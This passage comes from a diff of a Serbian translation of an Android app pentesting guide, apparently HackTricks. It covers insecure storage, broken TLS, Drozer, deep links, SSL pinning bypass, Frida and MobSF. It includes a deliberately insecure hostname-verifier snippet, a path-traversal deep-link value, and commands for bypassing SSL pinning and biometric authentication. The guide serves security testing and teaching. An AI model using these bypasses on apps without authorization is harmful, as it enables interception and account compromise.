dobije pristup za čitanje ili pisanje datotekama druge aplikacije. **Osetljivi podaci pohranjeni u čistom tekstu** -- **Deljene postavke**: Android omogućava svakoj aplikaciji da lako sačuva xml datoteke na putanji `/data/data//shared_prefs/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli. +- **Deljene preferencije**: Android omogućava svakoj aplikaciji da lako sačuva xml datoteke na putanji `/data/data//shared_prefs/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli. - **Baze podataka**: Android omogućava svakoj aplikaciji da lako sačuva sqlite baze podataka na putanji `/data/data//databases/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli. ### Slomljeni TLS -**Prihvati sve sertifikate** +**Prihvatanje svih sertifikata** Iz nekog razloga, ponekad programeri prihvataju sve sertifikate čak i ako, na primer, ime hosta ne odgovara sa linijama koda poput sledeće: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -Dobar način da testirate ovo je da pokušate da uhvatite saobraćaj koristeći neki proxy kao što je Burp bez autorizacije Burp CA unutar uređaja. Takođe, možete generisati sa Burp-om sertifikat za drugačije ime hosta i koristiti ga. +Dobar način da se ovo testira je da pokušate da uhvatite saobraćaj koristeći neki proxy kao što je Burp bez autorizacije Burp CA unutar uređaja. Takođe, možete generisati sa Burp-om sertifikat za drugačije ime hosta i koristiti ga. ### Slomljena Kriptografija **Loši Procesi Upravljanja Ključevima** -Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i šifruju ih sa ključem koji je hardkodiran/predvidljiv u kodu. Ovo ne bi trebalo da se radi jer bi neki proces obrnute inženjeringa mogao omogućiti napadačima da izvuku poverljive informacije. +Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i šifruju ih ključem koji je hardkodiran/predvidljiv u kodu. Ovo ne bi trebalo da se radi jer bi neki proces obrnute inženjeringa mogao omogućiti napadačima da izvuku poverljive informacije. **Korišćenje Nesigurnih i/ili Zastarelih Algoritama** -Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **hash-ovi** koriste za čuvanje lozinki, na primer, trebali bi se koristiti hash-ovi otporni na brute-force sa solju. +Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **hash-ovi** koriste za čuvanje lozinki, na primer, treba koristiti hash-ove otporne na brute-force sa solju. ### Ostale provere @@ -227,7 +231,7 @@ content-protocol.md ### Online Dinamička analiza -Možete kreirati **besplatan nalog** na: [https://appetize.io/](https://appetize.io). Ova platforma vam omogućava da **otpremite** i **izvršite** APK-ove, tako da je korisna za gledanje kako se apk ponaša. +Možete napraviti **besplatan nalog** na: [https://appetize.io/](https://appetize.io). Ova platforma vam omogućava da **otpremite** i **izvršite** APK-ove, tako da je korisna za gledanje kako se apk ponaša. Možete čak i **videti logove vaše aplikacije** na vebu i povezati se putem **adb**. @@ -246,7 +250,7 @@ Zahvaljujući ADB konekciji možete koristiti **Drozer** i **Frida** unutar emul avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, morate kreirati nalog. _Preporučuje se da **preuzmete** verziju **SA** _**VirtualBox** da biste izbegli potencijalne greške._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, morate napraviti nalog. _Preporučuje se da **preuzmete** verziju **SA** _**VirtualBox** da biste izbegli potencijalne greške._) - [**Nox**](https://es.bignox.com) (Besplatno, ali ne podržava Frida ili Drozer). > [!TIP] @@ -256,7 +260,7 @@ Da biste **instalirali google usluge** (kao što je AppStore) u Genymotion-u, po ![](<../../images/image (277).png>) -Takođe, primetite da u **konfiguraciji Android VM u Genymotion-u** možete odabrati **Bridge Network mode** (ovo će biti korisno ako ćete se povezivati na Android VM iz različitog VM-a sa alatima). +Takođe, primetite da u **konfiguraciji Android VM u Genymotion-u** možete odabrati **Bridge Network mode** (to će biti korisno ako se povezujete na Android VM iz različitog VM-a sa alatima). #### Koristite fizički uređaj @@ -268,20 +272,20 @@ Morate aktivirati **debugging** opcije i bilo bi dobro ako možete **root-ovati* 4. Pritisnite **Broj izrade** 7 puta. 5. Vratite se i naći ćete **Opcije za programere**. -> Kada instalirate aplikaciju, prva stvar koju treba da uradite je da je isprobate i istražite šta radi, kako funkcioniše i da se upoznate sa njom.\ +> Kada instalirate aplikaciju, prva stvar koju treba da uradite je da je isprobate i istražite šta radi, kako funkcioniše i da se upoznate s njom.\ > Preporučujem da **izvršite ovu inicijalnu dinamičku analizu koristeći MobSF dinamičku analizu + pidcat**, tako da ćemo moći da **naučimo kako aplikacija funkcioniše** dok MobSF **prikuplja** mnogo **zanimljivih** **podataka** koje možete pregledati kasnije. ### Neplanirano Otkriće Podataka **Logovanje** -Programeri bi trebali biti oprezni da ne izlažu **informacije za debagovanje** javno, jer to može dovesti do curenja osetljivih podataka. Preporučuju se alati [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` za praćenje logova aplikacije kako bi se identifikovale i zaštitile osetljive informacije. **Pidcat** je omiljen zbog svoje jednostavnosti korišćenja i čitljivosti. +Programeri bi trebali biti oprezni da ne izlažu **informacije za debagovanje** javno, jer to može dovesti do curenja osetljivih podataka. Alati [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` se preporučuju za praćenje logova aplikacije kako bi se identifikovale i zaštitile osetljive informacije. **Pidcat** je omiljen zbog svoje jednostavnosti korišćenja i čitljivosti. > [!WARNING] -> Imajte na umu da od **novijih verzija od Android 4.0**, **aplikacije mogu pristupiti samo svojim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\ +> Imajte na umu da od **novijih verzija Android-a 4.0**, **aplikacije mogu pristupiti samo svojim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\ > U svakom slučaju, i dalje se preporučuje da **ne logujete osetljive informacije**. -**Keširanje Copy/Paste Bafera** +**Keširanje Copy/Paste Bafer-a** Androidov **okvir zasnovan na clipboard-u** omogućava funkcionalnost kopiranja i lepljenja u aplikacijama, ali predstavlja rizik jer **druge aplikacije** mogu **pristupiti** clipboard-u, potencijalno izlažući osetljive podatke. Ključno je **onemogućiti copy/paste** funkcije za osetljive delove aplikacije, kao što su podaci o kreditnim karticama, kako bi se sprečila curenja podataka. @@ -293,11 +297,11 @@ Kao pentester, **pokušajte da pogledate ove logove**. **Podaci o Analitici Poslati Trećim Stranama** -Aplikacije često integrišu usluge poput Google Adsense, što može nenamerno **procuriti osetljive podatke** zbog nepravilne implementacije od strane programera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **presretnete saobraćaj aplikacije** i proverite da li se šalju osetljive informacije trećim stranama. +Aplikacije često integrišu usluge poput Google Adsense, što može nenamerno **procuriti osetljive podatke** zbog nepravilne implementacije od strane programera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **presretnete saobraćaj aplikacije** i proverite da li se šalju bilo kakve osetljive informacije trećim stranama. ### SQLite DBs -Većina aplikacija će koristiti **internu SQLite bazu podataka** za čuvanje informacija. Tokom pentesta obratite pažnju na **baze podataka** koje su kreirane, imena **tabela** i **kolona** i sve **podatke** koji su sačuvani jer biste mogli pronaći **osetljive informacije** (što bi bila ranjivost).\ +Većina aplikacija će koristiti **internu SQLite baze podataka** za čuvanje informacija. Tokom pentesta obratite pažnju na **baze podataka** koje su kreirane, imena **tabela** i **kolona** i sve **podatke** sačuvane jer biste mogli pronaći **osetljive informacije** (što bi bila ranjivost).\ Baze podataka bi trebale biti locirane u `/data/data/the.package.name/databases` kao `/data/data/com.mwr.example.sieve/databases`. Ako baza podataka čuva poverljive informacije i je **šifrovana**, ali možete **pronaći** **lozinku** unutar aplikacije, to je i dalje **ranjivost**. @@ -306,7 +310,7 @@ Enumerišite tabele koristeći `.tables` i enumerišite kolone tabela koristeći ### Drozer (Eksploatacija Aktivnosti, Pružatelja Sadržaja i Usluga) -Iz [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** vam omogućava da **preuzmete ulogu Android aplikacije** i interagujete sa drugim aplikacijama. Može raditi **sve što instalirana aplikacija može raditi**, kao što je korišćenje Android-ovog mehanizma međuprocesne komunikacije (IPC) i interakcija sa osnovnim operativnim sistemom.\ +Iz [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** vam omogućava da **preuzmete ulogu Android aplikacije** i komunicirate sa drugim aplikacijama. Može učiniti **sve što instalirana aplikacija može učiniti**, kao što je korišćenje Android-ovog mehanizma međuprocesne komunikacije (IPC) i interakcija sa osnovnim operativnim sistemom.\ Drozer je koristan alat za **eksploataciju eksportovanih aktivnosti, eksportovanih usluga i Pružatelja Sadržaja** kao što ćete naučiti u sledećim sekcijama. ### Eksploatacija eksportovanih Aktivnosti @@ -343,7 +347,7 @@ Ako tapjacking nije sprečen, mogli biste zloupotrebiti izvezenu aktivnost da na ### Iskorišćavanje Content Providers - Pristup i manipulacija osetljivim informacijama [**Pročitajte ovo ako želite da osvežite šta je Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers se osnovno koriste za **deljenje podataka**. Ako aplikacija ima dostupne content providers, možda ćete moći da **izvučete osetljive** podatke iz njih. Takođe je zanimljivo testirati moguće **SQL injekcije** i **Path Traversals** jer bi mogli biti ranjivi. +Content providers se osnovno koriste za **deljenje podataka**. Ako aplikacija ima dostupne content providere, možda ćete moći da **izvučete osetljive** podatke iz njih. Takođe je zanimljivo testirati moguće **SQL injekcije** i **Path Traversals** jer bi mogli biti ranjivi. [**Saznajte kako da iskoristite Content Providers sa Drozer-om.**](drozer-tutorial/index.html#content-providers) @@ -385,12 +389,12 @@ Da biste pronašli **kod koji će biti izvršen u aplikaciji**, idite na aktivno **Osetljive informacije** -Svaki put kada pronađete deep link, proverite da **ne prima osetljive podatke (kao što su lozinke) putem URL parametara**, jer bi bilo koja druga aplikacija mogla **imitirati deep link i ukrasti te podatke!** +Svaki put kada pronađete deep link, proverite da **ne prima osetljive podatke (kao što su lozinke) putem URL parametara**, jer bi svaka druga aplikacija mogla **imitirati deep link i ukrasti te podatke!** **Parametri u putanji** Trebalo bi da **proverite i da li neki deep link koristi parametar unutar putanje** URL-a kao što je: `https://api.example.com/v1/users/{username}`, u tom slučaju možete primorati putanju da pređe na nešto poput: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ -Imajte na umu da ako pronađete ispravne krajnje tačke unutar aplikacije, možda ćete moći da izazovete **Open Redirect** (ako je deo putanje korišćen kao naziv domena), **preuzimanje naloga** (ako možete da modifikujete podatke korisnika bez CSRF tokena i ranjiva krajnja tačka koristi ispravnu metodu) i bilo koju drugu ranjivost. Više [informacija o ovome ovde](http://dphoeniixx.com/2020/12/13-2/). +Imajte na umu da ako pronađete ispravne krajnje tačke unutar aplikacije, možda ćete moći da izazovete **Open Redirect** (ako je deo putanje korišćen kao naziv domena), **preuzimanje naloga** (ako možete da modifikujete korisničke podatke bez CSRF tokena i ranjiva krajnja tačka koristi ispravnu metodu) i bilo koju drugu ranjivost. Više [informacija o ovome ovde](http://dphoeniixx.com/2020/12/13-2/). **Još primera** @@ -399,8 +403,8 @@ Jedan [zanimljiv izveštaj o bug bounty](https://hackerone.com/reports/855618) o ### Inspekcija i verifikacija transportnog sloja - **Sertifikati se ne proveravaju uvek pravilno** od strane Android aplikacija. Uobičajeno je da ove aplikacije zanemaruju upozorenja i prihvataju samopotpisane sertifikate ili, u nekim slučajevima, vraćaju se na korišćenje HTTP veza. -- **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima "čovek u sredini" (MITM), omogućavajući napadačima da dešifruju podatke. -- **Curjenje privatnih informacija** je rizik kada aplikacije autentifikuju koristeći sigurne kanale, ali zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovaj pristup ne štiti osetljive podatke, kao što su kolačići sesije ili podaci korisnika, od presretanja od strane zlonamernih entiteta. +- **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima "čoveka u sredini" (MITM), omogućavajući napadačima da dekriptuju podatke. +- **Curjenje privatnih informacija** je rizik kada aplikacije autentifikuju koristeći sigurne kanale, ali zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovaj pristup ne štiti osetljive podatke, kao što su kolačići sesije ili korisnički podaci, od presretanja od strane zlonamernih entiteta. #### Verifikacija sertifikata @@ -414,7 +418,7 @@ SSL Pinning je mera sigurnosti gde aplikacija proverava sertifikat servera u odn Da biste inspekciju HTTP saobraćaja, potrebno je **instalirati sertifikat alata za proxy** (npr. Burp). Bez instalacije ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Aplikacije koje ciljaju **API Level 24 i više** zahtevaju izmene u Network Security Config da bi prihvatile CA sertifikat proksija. Ovaj korak je ključan za inspekciju šifrovanog saobraćaja. Za uputstva o izmeni Network Security Config, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md). +Aplikacije koje ciljaju **API nivo 24 i više** zahtevaju izmene u Network Security Config da bi prihvatile CA sertifikat proksija. Ovaj korak je ključan za inspekciju šifrovanog saobraćaja. Za uputstva o izmeni Network Security Config, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md). Ako se koristi **Flutter**, potrebno je da pratite uputstva na [**ovoj stranici**](flutter.md). To je zato što, samo dodavanje sertifikata u skladište neće raditi jer Flutter ima svoju listu važećih CA. @@ -422,11 +426,11 @@ Ako se koristi **Flutter**, potrebno je da pratite uputstva na [**ovoj stranici* Kada je SSL Pinning implementiran, zaobilaženje postaje neophodno za inspekciju HTTPS saobraćaja. Različite metode su dostupne za ovu svrhu: -- Automatski **modifikujte** **apk** da **zaobiđe** SSLPinning sa [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Najveća prednost ove opcije je što vam neće biti potrebna root privilegija da zaobiđete SSL Pinning, ali ćete morati da obrišete aplikaciju i ponovo instalirate novu, a to ne mora uvek da funkcioniše. +- Automatski **modifikujte** **apk** da **zaobiđe** SSLPinning sa [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Najveća prednost ove opcije je što vam neće biti potrebna root privilegija da zaobiđete SSL Pinning, ali ćete morati da obrišete aplikaciju i ponovo instalirate novu, a to neće uvek raditi. - Možete koristiti **Frida** (o kojoj se govori u nastavku) da zaobiđete ovu zaštitu. Ovde imate vodič za korišćenje Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - Takođe možete pokušati da **automatski zaobiđete SSL Pinning** koristeći [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - Takođe možete pokušati da **automatski zaobiđete SSL Pinning** koristeći **MobSF dinamičku analizu** (objašnjeno u nastavku) -- Ako i dalje mislite da postoji neki saobraćaj koji ne presrećete, možete pokušati da **prosledite saobraćaj do burp-a koristeći iptables**. Pročitajte ovaj blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Ako i dalje mislite da postoji neki saobraćaj koji ne hvata, možete pokušati da **prosledite saobraćaj do burp-a koristeći iptables**. Pročitajte ovaj blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Traženje uobičajenih web ranjivosti @@ -442,7 +446,7 @@ Ako želite da testirate Android aplikacije, morate znati kako koristiti Frida. - Neki "GUI" za akcije sa Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection je odličan za automatizaciju korišćenja Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - Možete pronaći neke sjajne Frida skripte ovde: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Pokušajte da zaobiđete mehanizme protiv debagovanja / anti-frida učitavanjem Frida kao što je naznačeno u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs)) +- Pokušajte da zaobiđete anti-debugging / anti-frida mehanizme učitavanjem Frida kao što je naznačeno u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs)) ### **Dump Memorije - Fridump** @@ -477,7 +481,7 @@ Korišćenjem sledećeg Frida skripta može biti moguće **zaobići autentifikac ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` -### **Pozadinske slike** +### **Pozadine slika** Kada stavite aplikaciju u pozadinu, Android čuva **snimak aplikacije** tako da kada se vrati u fokus, počinje da učitava sliku pre aplikacije, pa izgleda kao da je aplikacija učitana brže. @@ -485,7 +489,7 @@ Međutim, ako ovaj snimak sadrži **osetljive informacije**, neko ko ima pristup Snimci se obično čuvaju na: **`/data/system_ce/0/snapshots`** -Android pruža način da se **spreči hvatanje ekrana postavljanjem FLAG_SECURE** parametra rasporeda. Korišćenjem ove oznake, sadržaj prozora se tretira kao siguran, sprečavajući njegovo pojavljivanje na snimcima ekrana ili pregled na nesigurnim ekranima. +Android pruža način da **spreči snimanje ekrana postavljanjem FLAG_SECURE** parametra rasporeda. Korišćenjem ove oznake, sadržaj prozora se tretira kao siguran, sprečavajući da se pojavi na snimcima ekrana ili da se vidi na nesigurnim ekranima. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -497,12 +501,12 @@ Ovaj alat može pomoći u upravljanju različitim alatima tokom dinamičke anali Programeri često kreiraju proxy komponente kao što su aktivnosti, servisi i prijemnici koji obrađuju ove Intente i prosleđuju ih metodama kao što su `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično. -Opasnost leži u omogućavanju napadačima da aktiviraju neizvezene komponente aplikacije ili pristupe osetljivim provajderima sadržaja preusmeravanjem ovih Intenta. Značajan primer je `WebView` komponenta koja konvertuje URL-ove u `Intent` objekte putem `Intent.parseUri(...)` i zatim ih izvršava, što može dovesti do zlonamernih injekcija Intenta. +Opasnost leži u omogućavanju napadačima da aktiviraju neizvezene komponente aplikacije ili pristupe osetljivim provajderima sadržaja preusmeravanjem ovih Intenta. Značajan primer je `WebView` komponenta koja konvertuje URL-ove u `Intent` objekte putem `Intent.parseUri(...)` i zatim ih izvršava, što može dovesti do malicioznih injekcija Intenta. ### Essential Takeaways - **Intent Injection** je sličan problemu Open Redirect na webu. -- Eksploati uključuju prosleđivanje `Intent` objekata kao dodataka, koji se mogu preusmeriti da izvrše nesigurne operacije. +- Eksploati uključuju prosleđivanje `Intent` objekata kao dodataka, koji mogu biti preusmereni da izvrše nesigurne operacije. - Može izložiti neizvezene komponente i provajdere sadržaja napadačima. - Konverzija URL-a u `Intent` u `WebView` može olakšati nepredviđene radnje. @@ -531,29 +535,29 @@ Verovatno znate o ovim vrstama ranjivosti sa weba. Morate biti posebno oprezni s docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Obratite pažnju da MobSF može analizirati **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacije (_Windows aplikacije moraju biti analizirane sa MobSF instaliranim na Windows hostu_).\ +Napomena da MobSF može analizirati **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacije (_Windows aplikacije moraju biti analizirane sa MobSF instaliranim na Windows hostu_).\ Takođe, ako kreirate **ZIP** datoteku sa izvorni kodom **Android** ili **IOS** aplikacije (idite u korenski folder aplikacije, izaberite sve i kreirajte ZIP datoteku), moći će da je analizira. MobSF takođe omogućava **diff/Compare** analizu i integraciju sa **VirusTotal** (biće potrebno da postavite svoj API ključ u _MobSF/settings.py_ i omogućite ga: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Takođe možete postaviti `VT_UPLOAD` na `False`, tada će **hash** biti **upload** umesto datoteke. ### Pomoćna dinamička analiza sa MobSF -**MobSF** može biti veoma koristan za **dinamičku analizu** u **Androidu**, ali u tom slučaju ćete morati da instalirate MobSF i **genymotion** na vašem hostu (VM ili Docker neće raditi). _Napomena: Prvo treba da **pokrenete VM u genymotion** a **zatim MobSF.**_\ +**MobSF** može biti veoma koristan za **dinamičku analizu** u **Android**, ali u tom slučaju ćete morati da instalirate MobSF i **genymotion** na vašem hostu (VM ili Docker neće raditi). _Napomena: Prvo treba da **pokrenete VM u genymotion** a **zatim MobSF.**_\ **MobSF dinamički analizer** može: -- **Dump podataka aplikacije** (URL-ovi, logovi, clipboard, screenshotovi koje ste napravili, screenshotovi napravljeni od strane "**Exported Activity Tester**", emailovi, SQLite baze podataka, XML datoteke i druge kreirane datoteke). Sve ovo se automatski radi osim za screenshotove, treba da pritisnete kada želite screenshot ili treba da pritisnete "**Exported Activity Tester**" da biste dobili screenshotove svih eksportovanih aktivnosti. -- Zabeleži **HTTPS saobraćaj** -- Koristi **Frida** za dobijanje **runtime** **informacija** +- **Dump podataka aplikacije** (URL-ovi, logovi, clipboard, screenshot-ovi koje ste napravili, screenshot-ovi koje je napravio "**Exported Activity Tester**", emailovi, SQLite baze podataka, XML datoteke i druge kreirane datoteke). Sve ovo se radi automatski osim za screenshot-ove, morate pritisnuti kada želite screenshot ili morate pritisnuti "**Exported Activity Tester**" da biste dobili screenshot-ove svih eksportovanih aktivnosti. +- Zabeležiti **HTTPS saobraćaj** +- Koristiti **Frida** za dobijanje **runtime** **informacija** -Od android **verzija > 5**, automatski će **pokrenuti Frida** i postaviće globalne **proxy** postavke za **hvatanje** saobraćaja. Hvataće samo saobraćaj iz testirane aplikacije. +Od android **verzija > 5**, automatski će **pokrenuti Frida** i postaviće globalne **proxy** postavke za **zapisivanje** saobraćaja. Zabeležiće samo saobraćaj iz testirane aplikacije. **Frida** -Po defaultu, takođe će koristiti neke Frida skripte za **obići SSL pinning**, **detekciju root-a** i **detekciju debagera** i za **monitorisanje interesantnih API-ja**.\ -MobSF takođe može **pozvati eksportovane aktivnosti**, uzeti **screenshotove** njih i **sačuvati** ih za izveštaj. +Po defaultu, takođe će koristiti neke Frida skripte za **obići SSL pinning**, **detekciju root-a** i **detekciju debagera** i za **monitorisanje zanimljivih API-ja**.\ +MobSF takođe može **pozvati eksportovane aktivnosti**, uhvatiti **screenshot-ove** njih i **sačuvati** ih za izveštaj. Da **počnete** dinamičko testiranje pritisnite zeleni dugme: "**Start Instrumentation**". Pritisnite "**Frida Live Logs**" da biste videli logove generisane Frida skriptama i "**Live API Monitor**" da biste videli sve pozive ka uhvaćenim metodama, prosleđene argumente i vraćene vrednosti (ovo će se pojaviti nakon pritiska na "Start Instrumentation").\ -MobSF takođe omogućava da učitate svoje **Frida skripte** (da biste poslali rezultate svojih Frida skripti u MobSF koristite funkciju `send()`). Takođe ima **nekoliko unapred napisanih skripti** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo **izaberite ih**, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete da vidite logove tih skripti unutar "**Frida Live Logs**"). +MobSF takođe omogućava da učitate svoje **Frida skripte** (da biste poslali rezultate vaših Frida skripti u MobSF koristite funkciju `send()`). Takođe ima **several pre-written scripts** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo **izaberite ih**, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete da vidite logove tih skripti unutar "**Frida Live Logs**"). ![](<../../images/image (419).png>) @@ -564,9 +568,9 @@ Pored toga, imate neke pomoćne Frida funkcionalnosti: - **Capture String Comparisons**: Može biti veoma korisno. **Prikazaće 2 stringa koja se upoređuju** i da li je rezultat bio True ili False. - **Enumerate Class Methods**: Unesite ime klase (kao "java.io.File") i ispisuje sve metode klase. - **Search Class Pattern**: Pretražuje klase po obrascu -- **Trace Class Methods**: **Prati** celu **klasu** (vidi ulaze i izlaze svih metoda klase). Zapamtite da po defaultu MobSF prati nekoliko interesantnih Android API metoda. +- **Trace Class Methods**: **Prati** celu **klasu** (vidi ulaze i izlaze svih metoda klase). Zapamtite da po defaultu MobSF prati nekoliko zanimljivih Android API metoda. -Kada odaberete pomoćni modul koji želite da koristite, treba da pritisnete "**Start Instrumentation**" i videćete sve izlaze u "**Frida Live Logs**". +Kada odaberete pomoćni modul koji želite da koristite, potrebno je da pritisnete "**Start Instrumentation**" i videćete sve izlaze u "**Frida Live Logs**". **Shell** @@ -626,9 +630,9 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER je aplikacija za komandnu liniju koja se može koristiti na Windows, MacOS X i Linux, koja analizira _.apk_ datoteke u potrazi za ranjivostima. To radi dekompresovanjem APK-ova i primenom niza pravila za otkrivanje tih ranjivosti. +SUPER je aplikacija za komandnu liniju koja se može koristiti na Windows, MacOS X i Linux, koja analizira _.apk_ fajlove u potrazi za ranjivostima. To radi dekompresovanjem APK-ova i primenom niza pravila za otkrivanje tih ranjivosti. -Sva pravila su centrirana u `rules.json` datoteci, a svaka kompanija ili tester može kreirati svoja pravila za analizu onoga što im je potrebno. +Sva pravila su fokusirana u `rules.json` fajlu, a svaka kompanija ili tester može kreirati svoja pravila za analizu onoga što im je potrebno. Preuzmite najnovije binarne datoteke sa [strane za preuzimanje](https://superanalyzer.rocks/download.html) ``` @@ -658,9 +662,9 @@ androbugs.exe -f [APK file] **Androwarn** je alat čija je glavna svrha da detektuje i upozori korisnika na potencijalno zloćudno ponašanje koje razvija Android aplikacija. -Detekcija se vrši **statčkom analizom** Dalvik bytecode-a aplikacije, predstavljenog kao **Smali**, uz pomoć biblioteke [`androguard`](https://github.com/androguard/androguard). +Detekcija se vrši **statističkom analizom** Dalvik bytecode-a aplikacije, predstavljenog kao **Smali**, uz pomoć biblioteke [`androguard`](https://github.com/androguard/androguard). -Ovaj alat traži **uobičajeno ponašanje "loših" aplikacija** kao što su: Ekstrakcija telekomunikacionih identifikatora, presretanje audio/video toka, modifikacija PIM podataka, izvršavanje proizvoljnog koda... +Ovaj alat traži **uobičajeno ponašanje "loših" aplikacija** kao što su: eksfiltracija telekomunikacionih identifikatora, presretanje audio/video toka, modifikacija PIM podataka, izvršavanje proizvoljnog koda... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -685,11 +689,11 @@ Koristan za otkrivanje malvera: [https://koodous.com/](https://koodous.com) ## Obfuscating/Deobfuscating code -Imajte na umu da zavisno od usluge i konfiguracije koju koristite za obfuskaciju koda. Tajne mogu ili ne moraju biti obfuskirane. +Napomena da zavisno od usluge i konfiguracije koju koristite za obfuskaciju koda. Tajne mogu ili ne moraju biti obfuskirane. ### [ProGuard]() -Sa [Vikipedije](): **ProGuard** je open source alat za komandnu liniju koji smanjuje, optimizuje i obfuskira Java kod. U stanju je da optimizuje bajtkod kao i da otkrije i ukloni neiskorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2. +Sa [Vikipedije](): **ProGuard** je open source alat za komandnu liniju koji smanjuje, optimizuje i obfuskira Java kod. U stanju je da optimizuje bajtkod kao i da detektuje i ukloni neiskorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2. ProGuard se distribuira kao deo Android SDK-a i pokreće se prilikom izgradnje aplikacije u režimu objavljivanja. @@ -702,18 +706,18 @@ Pronađite vodič korak po korak za deobfuskaciju apk-a na [https://blog.lexfo.f - učitati resurs kao InputStream; - proslediti rezultat klasi koja nasleđuje FilterInputStream da bi ga dekriptovali; - uraditi neku beskorisnu obfuskaciju da bi se izgubilo nekoliko minuta vremena od reverzera; -- proslediti dekriptovani rezultat ZipInputStream-u da bi dobili DEX datoteku; +- proslediti dekriptovani rezultat ZipInputStream-u da bi dobili DEX fajl; - konačno učitati dobijeni DEX kao Resurs koristeći metodu `loadDex`. ### [DeGuard](http://apk-deguard.com) -**DeGuard obrnuta proces obfuskacije koji izvode Android alati za obfuskaciju. Ovo omogućava brojne analize bezbednosti, uključujući inspekciju koda i predikciju biblioteka.** +**DeGuard obrnuta proces obfuskacije koju vrše Android alati za obfuskaciju. Ovo omogućava brojne analize bezbednosti, uključujući inspekciju koda i predikciju biblioteka.** Možete da otpremite obfuskovani APK na njihovu platformu. ### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) -Ovo je LLM alat za pronalaženje potencijalnih bezbednosnih ranjivosti u android aplikacijama i deobfuskaciju koda android aplikacija. Koristi Google-ov javni API Gemini. +Ovo je LLM alat za pronalaženje potencijalnih bezbednosnih ranjivosti u android aplikacijama i deobfuskaciju koda android 